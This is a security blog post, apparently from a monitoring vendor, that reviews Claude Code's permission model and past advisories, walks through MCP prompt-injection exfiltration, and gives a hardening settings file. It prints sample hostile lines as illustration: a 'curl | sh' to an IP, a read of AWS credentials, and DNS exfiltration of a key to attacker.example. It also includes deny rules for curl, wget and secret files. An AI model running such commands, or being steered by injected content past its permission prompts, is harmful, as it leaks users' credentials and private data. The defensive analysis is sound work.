Claude Code asks before it acts. Among the agentic coding tools shipping today, Anthropic's CLI has the most legible permission model, documented down to the rule syntax. It is also a process running as your user, with a Bash tool, a network stack, and a config directory that a cloned repository can populate. As of 2026-09-11 the anthropics/claude-code advisory page lists 30 published advisories, and most of them share one shape: code ran before, around, or underneath the prompt.
This post covers what the permission model does, the shapes it has been bypassed in, what hooks and MCP servers add to the blast radius, and a settings file that closes the common gaps.
What Claude Code security actually rests on
Claude Code is a terminal agent with tools: Read, Edit, Write, Bash, WebFetch, subagents, and whatever MCP servers you connect. Permission rules gate them, written as Tool or Tool(specifier): Bash(npm run build), Read(./.env), WebFetch(domain:example.com). Rules live in allow, ask, and deny lists, per the permissions reference.
The mode decides how often you are asked. default (labeled Manual) prompts on first use of each tool, acceptEdits auto-approves file edits in the working directory, and plan is read-only. auto puts a classifier where you used to be, and bypassPermissions skips the prompts; --dangerously-skip-permissions is its command-line spelling.
Five files feed the rules, highest precedence first: managed-settings.json (on macOS, /Library/Application Support/ClaudeCode/managed-settings.json), --settings on the command line, .claude/settings.local.json, the committed .claude/settings.json, and ~/.claude/settings.json. MCP servers and folder-trust decisions live in a sixth, ~/.claude.json. The settings page has the full stack.
Two design decisions deserve credit. First, rules are enforced by Claude Code, not by the model: a CLAUDE.md or a poisoned README can change what Claude tries, not what Claude Code allows. Second, the sandboxed Bash tool uses Seatbelt on macOS and bubblewrap on Linux, so a command that slips past the prompt still hits an OS boundary.
Where the prompt was not the boundary
Read the 30 advisories as a group and they sort into three shapes.
Before the prompt. CVE-2025-59536: hooks in a cloned repo's .claude/settings.json executed before the workspace trust dialog appeared (fixed in 1.0.111, published 2025-10-03). CVE-2026-21852: a repo settings file set ANTHROPIC_BASE_URL, and Claude Code sent the user's API key to it before asking for trust (fixed in 2.0.65). CVE-2026-33068: permissions.defaultMode set to bypassPermissions in the repo file silently skipped the trust dialog (fixed in 2.1.53). CVE-2026-40068: a spoofed git worktree commondir inherited trust from a path you had approved earlier, then ran the repo's hooks (2.1.63 through 2.1.83). Four bugs, one lesson: opening an untrusted repository is the attack.
Around the prompt. CVE-2025-55284: ping, nslookup, dig, and host were on the default allowlist, so an injected comment in a source file could read .env and send the key out as a DNS subdomain with no prompt at all. Johann Rehberger disclosed it on May 26, 2025 and Anthropic fixed it June 6. CVE-2026-54316: huggingface.co was pre-approved for WebFetch, and any path on that host counts as a download server-side, so a covert channel existed until 2.1.163.
Underneath the prompt. CVE-2026-25725: code inside the bubblewrap sandbox could create .claude/settings.json if it did not already exist, plant a SessionStart hook, and run on the host the next time Claude Code started (fixed in 2.1.2). CVE-2026-55607: worktree confusion plus symlinks overwrote ~/.zshenv from inside Seatbelt (2.1.38 through 2.1.162).
Anthropic patches fast, credits the HackerOne reporters by name, and auto-update carries the fix. That is real credit. But every one of these was reachable through content the agent read, and none of them tripped a permission prompt. That property is what the rest of this post is about.
Hooks and MCP servers widen the blast radius
Hooks are shell commands Claude Code runs on events: PreToolUse, PostToolUse, SessionStart, and more. The hooks reference says it without hedging: "Command hooks execute shell commands with your full user permissions." They can be defined in seven places, including the committed .claude/settings.json, a plugin's hooks/hooks.json, and skill frontmatter. A hook is the one part of Claude Code where no model is in the loop and no prompt fires. It is a cron job with a repository as its scheduler.
MCP servers are the other multiplier: stdio servers run as local processes under your user with whatever credentials you gave them. Project scope (.mcp.json) is committed and shared. Since v2.1.196, claude mcp list and claude mcp get no longer start a server that a cloned repo approved for itself: enableAllProjectMcpServers or enabledMcpjsonServers committed to the repo's .claude/settings.json is ignored until you trust the folder, and the server stays pending. What that cannot close is a server you did approve that later fetches attacker-controlled content.
- 01ConnectDeveloper approves the GitHub MCP server with a broad personal token.
- 02PlantAttacker files an issue on a public repo the developer maintains.
- 03flaggedReadDeveloper asks the agent to triage open issues. The payload enters context.
- 04flaggedPivotAgent uses the same token to read private repositories.
- 05flaggedExfiltrateAgent opens a pull request on the public repo containing the private data.
That is the Invariant Labs demonstration of May 26, 2025, run against Claude Desktop with Claude 4 Opus. Invariant noted the flow is not specific to any client. Claude Code with the same server and the same token has the same reach, and the permission dialog for each tool call is exactly the click developers learn to approve on reflex.
If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to that attacker.
Willison's lethal trifecta is private data, untrusted content, and a way to communicate out. A default Claude Code session with one MCP server has all three.
Subagents do not fix this. Each runs in its own context window and inherits the built-in and MCP tools of the main conversation. The injected text stays in the child's context, but the child's summary returns to the parent, and its tool calls hit the same disk and the same network. Isolation of context is not isolation of effect.
- claude (pid 51203)
- bash -c 'npm install'
- node preinstall.js
- sh -c 'curl -s https://198.51.100.47/s | sh'flagged
- python3 -c 'open("/Users/dev/.aws/credentials").read()'flagged
The permission prompt saw npm install. Every process under it is a descendant of the one it approved, and the Read(~/.aws/**) deny rule never applied, because a Python script opened the file, not Claude.
Ask-first defaults against skip-permissions
- Prompts on first use of each tool
- Asks before reading outside the working directory
- Asks before most network requests
- Protected-path checks on .git and .claude
- Trust dialog on first open of a repo
- No prompts for any tool
- Reads and writes anywhere the user can
- Network requests run unasked
- Protected-path checks skipped
- Refuses to start as root
--dangerously-skip-permissions is the flag every CI tutorial reaches for. Per the sandboxing docs, it is --permission-mode bypassPermissions: it skips the prompts and the protected-path checks, and Anthropic's guidance is to use it only in containers or VMs. It is blocked as root, which is a good tell about how Anthropic thinks about it.
Non-interactive claude -p has its own footgun: trust verification is disabled in that mode. Scripting -p over a repository you did not write runs that repository's hooks. The hooks reference says to start with --bare or pass --settings '{"disableAllHooks": true}' for that run.
Since v2.1.257, auto and bypassPermissions no longer take effect from project or local settings. A repo cannot flip your mode. Before that version it could, which is how CVE-2026-33068 worked. Check claude --version across the fleet before believing the fix is deployed.
What the OS sees that the prompt does not
Every bypass above shares a property: the declared action and the real action diverged. ping was declared; DNS exfiltration happened. A SessionStart hook was declared; a host-privilege shell happened. npm install was approved; a credential read three processes down happened.
The permission layer can only judge what is declared. Quint runs on macOS developer endpoints and records what the OS actually did through the EndpointSecurity framework: file, process, and network activity for every agent on the machine, with no code changes to the agent. It also records the declared tool call at the interception layer. The gap between the two is the detection signal.
It scores the sequence in real time, on the device, with no LLM in the decision path. "Read .env" is a normal Tuesday. "Read .env with no tool call to account for it, then open a socket to an unknown host" is what gets flagged.
Enforcement is at the interception and agent-hook layer: allow, flag, or block, observe-first. The kernel extension observes; it does not block. Every action is written to a hash-chained, Ed25519-signed audit record, and the fleet view shows every agent on every machine, including the ones IT never approved.
- 00:00.000Read(src/payments.ts)declared tool call, approved
- 00:00.412open(.env, O_RDONLY)no matching tool call
- 00:00.430execve(ping -c 2 sk-live-4f9a....attacker.example)allowlisted command, no prompt
- 00:00.431sendto(UDP 53, attacker.example)DNS query carries the key, session flagged
This timeline is illustrative, built from the advisory's described mechanism, not a recording of a real session. The point is which layer could have seen it. The prompt saw a ping. The OS saw a file open, an exec with a secret in its argument vector, and a UDP packet to a host outside the org, in that order, in under half a second.
What to change on Monday
Deploy a managed settings file. On macOS it goes at /Library/Application Support/ClaudeCode/managed-settings.json, nothing a user sets overrides it, and every key below is documented in the settings reference.
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(~/.aws/**)",
"Read(~/.ssh/**)",
"Bash(curl:*)",
"Bash(wget:*)"
],
"disableBypassPermissionsMode": "disable"
},
"allowManagedPermissionRulesOnly": true,
"allowManagedHooksOnly": true,
"sandbox": {
"enabled": true,
"filesystem": {
"denyRead": ["~/.aws", "~/.ssh"]
}
},
"cleanupPeriodDays": 7
}disableBypassPermissionsMode removes --dangerously-skip-permissions from the fleet. allowManagedHooksOnly means a hook in a cloned repo's .claude/settings.json does not run, which retires the CVE-2025-59536 and CVE-2026-40068 shape regardless of version. sandbox.enabled with denyRead is the OS-level version of the Read deny rule, and it is the one that stops the Python script. cleanupPeriodDays shortens how long plaintext session transcripts sit in ~/.claude/projects/; the default is 30 days.
Then four habits:
- Treat
.claude/settings.json,.mcp.json, andCLAUDE.mdas code. A CODEOWNERS rule and a required review. Every pre-trust advisory above started with one of these files in a repository someone cloned. - Pin the floor. Auto-update carries the fixes, but only for machines that update. Check
claude --versionin your fleet inventory and refuse anything older than the last advisory's patch version. - Never
-pan untrusted repo without--bare. Trust verification is off in non-interactive mode. If your CI clones external contributions and runs Claude Code over them, this is the line that matters. - Watch the OS, not the prompt. Deny rules stop the tools Claude Code recognizes. The sandbox stops the rest, when it is on and unbroken, and three of the 30 advisories are titled as sandbox escapes. A recorder that sees every process, every file open, and every socket, and compares them against what the agent said it was doing, is the layer that does not depend on the agent being honest.
If you want to see that comparison running on a real Claude Code session, book a demo. For the same analysis of a different editor, read Cursor security risks; for the MCP side on its own, the MCP security checklist.



